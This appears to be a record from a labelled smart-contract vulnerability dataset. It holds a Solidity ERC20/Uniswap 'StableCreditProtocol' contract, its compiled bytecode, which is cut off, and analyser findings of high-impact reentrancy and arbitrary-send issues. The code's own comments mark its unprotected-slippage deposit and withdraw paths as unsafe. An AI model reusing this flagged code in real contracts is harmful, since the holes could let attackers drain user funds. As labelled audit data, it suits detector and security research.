36a9565b840191505092915050565b6000612ebf602383613416565b9150612eca826136ba565b604082019050919050565b6000612ee2602a83613416565b9150612eed82613709565b604082019050919050565b6000612f05602283613416565b9150612f1082613758565b604082019050919050565b6000612f28601b83613416565b9150612f33826137a7565b602082019050919050565b6000612f4b602183613416565b9150612f56826137d0565b604082019050919050565b6000612f6e602083613416565b9150612f798261381f565b602082019050919050565b6000612f91602983613416565b9150612f9c82613848565b604082019050919050565b6000612fb4601783613416565b9150612fbf82613897565b602082019050919050565b6000612fd7602583613416565b9150612fe2826138c0565b604082019050919050565b6000612ffa602483613416565b91506130058261390f565b604082019050919050565b600061301d601783613416565b91506130288261395e565b602082019050919050565b6000613040601c83613416565b915061304b82613987565b602082019050919050565b6000613063601283613416565b915061306e826139b0565b602082019050919050565b6130828161358c565b82525050565b61309181613596565b82525050565b60006020820190506130ac6000830184612dee565b92915050565b60006040820190506130c76000830185612dee565b6130d46020830184612dee565b9392505050565b60006040820190506130f06000830185612dee565b6130fd6020830184613079565b9392505050565b600060c0820190506131196000830189612dee565b6131266020830188613079565b6131336040830187612e6a565b6131406060830186612e6a565b61314d6080830185612dee565b61315a60a0830184613079565b979650505050505050565b600060208201905061317a6000830184612e5b565b92915050565b6000602082019050818103600083015261319a8184612e79565b905092915050565b600060208201905081810360008301526131bb81612eb2565b9050919050565b600060208201905081810360008301526131db81612ed5565b9050919050565b600060208201905081810360008301526131fb81612ef8565b9050919050565b6000602082019050818103600083015261321b81612f1b565b9050919050565b6000602082019050818103600083015261323b81612f3e565b9050919050565b6000602082019050818103600083015261325b81612f61565b9050919050565b6000602082019050818103600083015261327b81612f84565b9050919050565b6000602082019050818103600083015261329b81612fa7565b9050919050565b600060208201905081810360008301526132bb81612fca565b9050919050565b600060208201905081810360008301526132db81612fed565b9050919050565b600060208201905081810360008301526132fb81613010565b9050919050565b6000602082019050818103600083015261331b81613033565b9050919050565b6000602082019050818103600083015261333b81613056565b9050919050565b60006020820190506133576000830184613079565b92915050565b600060a0820190506133726000830188613079565b61337f6020830187612e6a565b81810360408301526133918186612dfd565b90506133a06060830185612dee565b6133ad6080830184613079565b9695505050505050565b60006020820190506133cc6000830184613088565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006134328261358c565b915061343d8361358c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613472576134716135e8565b5b828201905092915050565b60006134888261358c565b91506134938361358c565b9250826134a3576134a2613617565b5b828204905092915050565b60006134b98261358c565b91506134c48361358c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156134fd576134fc6135e8565b5b828202905092915050565b60006135138261358c565b915061351e8361358c565b925082821015613531576135306135e8565b5b828203905092915050565b60006135478261356c565b9050919050565b60006135598261356c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ae8261358c565b9050919050565b60005b838110156135d35780820151818401526020810190506135b8565b838111156135e2576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f4f766572206d61782077616c6c657420616d6f756e742e000000000000000000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4f766572206d6178207472616e73616374696f6e20616d6f756e742e00000000600082015250565b7f436f6f6c646f776e20656e666f726365642e0000000000000000000000000000600082015250565b6139e28161353c565b81146139ed57600080fd5b50565b6139f98161354e565b8114613a0457600080fd5b50565b613a1081613560565b8114613a1b57600080fd5b50565b613a278161358c565b8114613a3257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b772474ddfa17038ee85449ddeeee3d7e5197f212882a175101a3e10127fc71864736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,416
0x1c1f6f7c402a8e04be53806d5a7c1bc9826800ec
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface UniswapPair { function mint(address to) external returns (uint liquidity); } interface Oracle { function getPriceUSD(address reserve) external view returns (uint); } interface UniswapRouter { function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function factory() external view returns (address); } interface UniswapFactory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); } contract StableCreditProtocol is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; // Oracle used for price debt data (external to the AMM balance to avoid internal manipulation) Oracle public constant LINK = Oracle(0x271bf4568fb737cc2e6277e9B1EE0034098cDA2a); // Uniswap v2 UniswapRouter public constant UNI = UniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Maximum credit issued off of deposits (to avoid infinite leverage) uint public constant MAX = 7500; uint public constant BASE = 10000; // user => token => credit mapping (address => mapping(address => uint)) public credit; // user => token => balance mapping (address => mapping(address => uint)) public balances; // How much system liquidity is provided by this asset function utilization(address token) public view returns (uint) { address pair = UniswapFactory(UNI.factory()).getPair(token, address(this)); uint _ratio = BASE.sub(BASE.mul(balanceOf(pair)).div(totalSupply())); return _ratio > MAX ? MAX : _ratio; } constructor () public ERC20Detailed("StableCredit", "USD", 8) {} function depositAll(address token) external { deposit(token, IERC20(token).balanceOf(msg.sender)); } function deposit(address token, uint amount) public { _deposit(token, amount); } // UNSAFE: No slippage protection, should not be called directly function _deposit(address token, uint amount) internal { uint value = LINK.getPriceUSD(token).mul(amount).div(uint256(10)**ERC20Detailed(token).decimals()); require(value > 0, "!value"); address pair = UniswapFactory(UNI.factory()).getPair(token, address(this)); if (pair == address(0)) { pair = UniswapFactory(UNI.factory()).createPair(token, address(this)); } IERC20(token).safeTransferFrom(msg.sender, pair, amount); _mint(pair, value); // Amount of aUSD to mint uint _before = IERC20(pair).balanceOf(address(this)); UniswapPair(pair).mint(address(this)); uint _after = IERC20(pair).balanceOf(address(this)); // Assign LP tokens to user, token <> pair is deterministic thanks to CREATE2 balances[msg.sender][token] = balances[msg.sender][token].add(_after.sub(_before)); // Calculate utilization ratio of the asset. The more an asset contributes to the system, the less credit issued // This mechanism avoids large influx of deposits to overpower the system // Calculated after deposit to see impact of current deposit (prevents front-running credit) uint _credit = value.mul(utilization(token)).div(BASE); credit[msg.sender][token] = credit[msg.sender][token].add(_credit); _mint(msg.sender, _credit); } function withdrawAll(address token) external { _withdraw(token, IERC20(this).balanceOf(msg.sender)); } function withdraw(address token, uint amount) external { _withdraw(token, amount); } // UNSAFE: No slippage protection, should not be called directly function _withdraw(address token, uint amount) internal { uint _credit = credit[msg.sender][token]; uint _uni = balances[msg.sender][token]; if (_credit < amount) { amount = _credit; } _burn(msg.sender, amount); credit[msg.sender][token] = credit[msg.sender][token].sub(amount); // Calculate % of collateral to release _uni = _uni.mul(amount).div(_credit); address pair = UniswapFactory(UNI.factory()).getPair(token, address(this)); IERC20(pair).safeApprove(address(UNI), 0); IERC20(pair).safeApprove(address(UNI), _uni); UNI.removeLiquidity( token, address(this), _uni, 0, 0, address(this), now.add(1800) ); uint amountA = IERC20(token).balanceOf(address(this)); uint amountB = balanceOf(address(this)); uint valueA = LINK.getPriceUSD(token).mul(amountA).div(uint256(10)**ERC20Detailed(token).decimals()); require(valueA > 0, "!value"); // Collateral increased in value, but we max at amount B withdrawn if (valueA > amountB) { valueA = amountB; } _burn(address(this), valueA); // Amount of aUSD to burn (value of A leaving the system) IERC20(token).safeTransfer(msg.sender, amountA); if (amountB > valueA) { // Asset A appreciated in value, receive credit diff IERC20(this).safeTransfer(msg.sender, balanceOf(address(this))); } } }
0x608060405234801561001057600080fd5b50600436106101425760003560e01c80639f0d5f27116100b8578063cc1f0d2d1161007c578063cc1f0d2d146106fb578063d49d518114610773578063dd62ed3e14610791578063ec342ad014610809578063f3fef3a314610827578063fa09e6301461087557610142565b80639f0d5f271461051b578063a457c2d71461055f578063a9059cbb146105c5578063bf20d9dc1461062b578063c23f001f1461068357610142565b8063313ce5671161010a578063313ce5671461031e578063395093511461034257806347e7ef24146103a8578063541bcb76146103f657806370a082311461044057806395d89b411461049857610142565b806306fdde0314610147578063095ea7b3146101ca57806318160ddd146102305780631b6b6d231461024e57806323b872dd14610298575b600080fd5b61014f6108b9565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018f578082015181840152602081019050610174565b50505050905090810190601f1680156101bc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610216600480360360408110156101e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061095b565b604051808215151515815260200191505060405180910390f35b610238610979565b6040518082815260200191505060405180910390f35b610256610983565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610304600480360360608110156102ae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061099b565b604051808215151515815260200191505060405180910390f35b610326610a74565b604051808260ff1660ff16815260200191505060405180910390f35b61038e6004803603604081101561035857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a8b565b604051808215151515815260200191505060405180910390f35b6103f4600480360360408110156103be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b3e565b005b6103fe610b4c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104826004803603602081101561045657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b64565b6040518082815260200191505060405180910390f35b6104a0610bac565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104e05780820151818401526020810190506104c5565b50505050905090810190601f16801561050d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61055d6004803603602081101561053157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c4e565b005b6105ab6004803603604081101561057557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d12565b604051808215151515815260200191505060405180910390f35b610611600480360360408110156105db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ddf565b604051808215151515815260200191505060405180910390f35b61066d6004803603602081101561064157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dfd565b6040518082815260200191505060405180910390f35b6106e56004803603604081101561069957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fec565b6040518082815260200191505060405180910390f35b61075d6004803603604081101561071157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611011565b6040518082815260200191505060405180910390f35b61077b611036565b6040518082815260200191505060405180910390f35b6107f3600480360360408110156107a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061103c565b6040518082815260200191505060405180910390f35b6108116110c3565b6040518082815260200191505060405180910390f35b6108736004803603604081101561083d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110c9565b005b6108b76004803603602081101561088b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110d7565b005b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109515780601f1061092657610100808354040283529160200191610951565b820191906000526020600020905b81548152906001019060200180831161093457829003601f168201915b5050505050905090565b600061096f61096861119b565b84846111a3565b6001905092915050565b6000600254905090565b73271bf4568fb737cc2e6277e9b1ee0034098cda2a81565b60006109a884848461139a565b610a69846109b461119b565b610a648560405180606001604052806028815260200161373c60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a1a61119b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116509092919063ffffffff16565b6111a3565b600190509392505050565b6000600560009054906101000a900460ff16905090565b6000610b34610a9861119b565b84610b2f8560016000610aa961119b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461171090919063ffffffff16565b6111a3565b6001905092915050565b610b488282611798565b5050565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c445780601f10610c1957610100808354040283529160200191610c44565b820191906000526020600020905b815481529060010190602001808311610c2757829003601f168201915b5050505050905090565b610d0f818273ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610ccf57600080fd5b505afa158015610ce3573d6000803e3d6000fd5b505050506040513d6020811015610cf957600080fd5b8101908080519060200190929190505050610b3e565b50565b6000610dd5610d1f61119b565b84610dd08560405180606001604052806025815260200161382e6025913960016000610d4961119b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116509092919063ffffffff16565b6111a3565b6001905092915050565b6000610df3610dec61119b565b848461139a565b6001905092915050565b600080737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e5a57600080fd5b505afa158015610e6e573d6000803e3d6000fd5b505050506040513d6020811015610e8457600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663e6a4390584306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b158015610f4557600080fd5b505afa158015610f59573d6000803e3d6000fd5b505050506040513d6020811015610f6f57600080fd5b810190808051906020019092919050505090506000610fce610fbd610f92610979565b610faf610f9e86610b64565b6127106121a690919063ffffffff16565b61222c90919063ffffffff16565b61271061227690919063ffffffff16565b9050611d4c8111610fdf5780610fe3565b611d4c5b92505050919050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6006602052816000526040600020602052806000526040600020600091509150505481565b611d4c81565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61271081565b6110d382826122c0565b5050565b611198813073ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561115857600080fd5b505afa15801561116c573d6000803e3d6000fd5b505050506040513d602081101561118257600080fd5b81019080805190602001909291905050506122c0565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611229576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806137aa6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806136d36022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611420576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806137856025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061368e6023913960400191505060405180910390fd5b611511816040518060600160405280602681526020016136f5602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116509092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115a4816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461171090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906116fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156116c25780820151818401526020810190506116a7565b50505050905090810190601f1680156116ef5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008082840190508381101561178e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006119108373ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156117e357600080fd5b505afa1580156117f7573d6000803e3d6000fd5b505050506040513d602081101561180d57600080fd5b810190808051906020019092919050505060ff16600a0a6119028473271bf4568fb737cc2e6277e9b1ee0034098cda2a73ffffffffffffffffffffffffffffffffffffffff16635708447d886040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156118b957600080fd5b505afa1580156118cd573d6000803e3d6000fd5b505050506040513d60208110156118e357600080fd5b81019080805190602001909291905050506121a690919063ffffffff16565b61222c90919063ffffffff16565b905060008111611988576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f2176616c7565000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156119e457600080fd5b505afa1580156119f8573d6000803e3d6000fd5b505050506040513d6020811015611a0e57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663e6a4390585306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b158015611acf57600080fd5b505afa158015611ae3573d6000803e3d6000fd5b505050506040513d6020811015611af957600080fd5b81019080805190602001909291905050509050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611cc657737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015611b9b57600080fd5b505afa158015611baf573d6000803e3d6000fd5b505050506040513d6020811015611bc557600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c6539685306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b158015611c8857600080fd5b505af1158015611c9c573d6000803e3d6000fd5b505050506040513d6020811015611cb257600080fd5b810190808051906020019092919050505090505b611cf33382858773ffffffffffffffffffffffffffffffffffffffff16612bc7909392919063ffffffff16565b611cfd8183612ccd565b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611d7c57600080fd5b505afa158015611d90573d6000803e3d6000fd5b505050506040513d6020811015611da657600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff16636a627842306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611e3857600080fd5b505af1158015611e4c573d6000803e3d6000fd5b505050506040513d6020811015611e6257600080fd5b81019080805190602001909291905050505060008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611ef357600080fd5b505afa158015611f07573d6000803e3d6000fd5b505050506040513d6020811015611f1d57600080fd5b81019080805190602001909291905050509050611fd1611f46838361227690919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461171090919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006120826127106120746120658a610dfd565b886121a690919063ffffffff16565b61222c90919063ffffffff16565b905061211381600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461171090919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061219d3382612ccd565b50505050505050565b6000808314156121b95760009050612226565b60008284029050828482816121ca57fe5b0414612221576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061371b6021913960400191505060405180910390fd5b809150505b92915050565b600061226e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612e88565b905092915050565b60006122b883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611650565b905092915050565b6000600660003373ffffffffffffffffffffffffffffff